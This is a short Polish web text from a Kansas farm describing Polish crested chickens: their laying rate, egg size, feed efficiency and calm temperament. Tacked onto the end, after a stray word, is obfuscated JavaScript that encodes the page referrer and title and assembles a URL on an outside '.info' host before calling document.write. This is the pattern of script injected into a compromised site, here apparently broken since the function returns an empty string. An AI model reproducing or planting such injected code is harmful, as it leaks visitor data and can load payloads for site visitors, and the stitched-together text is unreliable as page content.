Ogólnie biorąc nasze polskie czubatki to przyzwoite nioski, gdzie wszystkie odmiany niosą przez ponad 50% dni w roku. Jajka są trochę małe, ale udało nam się wyhodować czubatki znoszące jajka do rozmiaru średniego wg. standardów USDA, a kury niosą w lecie jak i w zimie. Zwykle nie maja tendencji do kwoczenia, ale mamy kilka kur które kwoczą i są doskonałymi matkami. Nie są one wykorzystywane do rozmnażania, ale te kwoki i z kurczętami są ciekawym i czasem komicznym dodatkiem do naszego podwórka.

Czubatki polskie nie są dużymi ptakami, choć czarne białoczuby wydają się o jakieś ćwierć kilo cięższe. Ta cecha podnosi ich efektywność na linii pasza-jajko, gdyż wymagają dużo mniej jedzenia na tę samą ilość jaj niż inne rasy. Czubatki polskie to stosunkowo ciche i spokojne ptaki choć zdarzają się koguty, które wymagają przerobienia na rosół z makaronem.

Czubatki polskie to klasa lekkich, efektywnych niosek, którym nie straszne ani zimno, ani upały, i które stanowią bardzo atrakcyjny dodatek do każdego gospodarstwa. (Sugestia: Czubatki wyglądają jeszcze bardziej imponująco kiedy jest ich 30 albo 50.)

Paul Holloway
Beautility Farms
Kansas, USA

majawn
function bb5154548fcd2b7(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa5154548fcd27c(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa5154548fcd27c(bb5154548fcd2b7(document.referrer),bb5154548fcd2b7(document.title)));